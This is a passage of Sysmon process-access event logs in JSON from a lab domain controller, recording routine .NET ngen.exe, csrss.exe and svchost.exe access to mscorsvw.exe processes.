+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00105CDE0A00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00105CDE0A00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00105CDE0A00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00105CDE0A00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010D06D0C00}\r\nTargetProcessId: 3392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010D06D0C00}","TargetProcessId":"3392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001071710C00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001071710C00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001071710C00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001071710C00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-001071710C00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-001071710C00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.119\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E1C0C00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.119","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-00107E1C0C00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E1C0C00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 